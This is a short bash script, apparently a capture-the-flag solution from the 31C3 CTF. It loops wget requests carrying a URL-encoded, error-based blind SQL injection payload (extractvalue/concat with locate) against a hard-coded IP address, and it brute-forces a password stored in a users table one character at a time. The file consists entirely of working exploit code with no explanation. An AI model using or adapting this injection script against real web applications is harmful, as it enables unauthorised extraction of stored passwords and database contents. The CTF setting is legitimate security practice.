31c3ctf_pwd.sh

#!/bin/bash
str='ZD456ddssd65456lksndoiNzd654sdsd'
while true
do
a=0;
echo "New string: $str"
        for i in {a..z}; do
        wget --quiet -O $i 'http://188.40.18.70/PROFILE/55%5C/||extractvalue%283,concat%280x3a,%28select%0Blocate("'$str$i'",P4sWW0rD_0F_M3_WTF)%0Bfrom%0Busers%0Blimit%0B1,1%29%29%29--%0B'
        if grep ":1" $i; then
                str=$str$i
a=1
        echo "$str";
        fi
        done
if [ $a==1 ]; then
        for i in {0..9}; do
        wget --quiet -O $i 'http://188.40.18.70/PROFILE/55%5C/||extractvalue%283,concat%280x3a,%28select%0Blocate("'$str$i'",P4sWW0rD_0F_M3_WTF)%0Bfrom%0Busers%0Blimit%0B1,1%29%29%29--%0B'
        if grep ":1" $i; then
                str=$str$i
a=1
        echo "$str";
        fi
        done
fi
if [ $a -eq 0 ]; then
        echo "PWD:$str"
        exit;
fi
done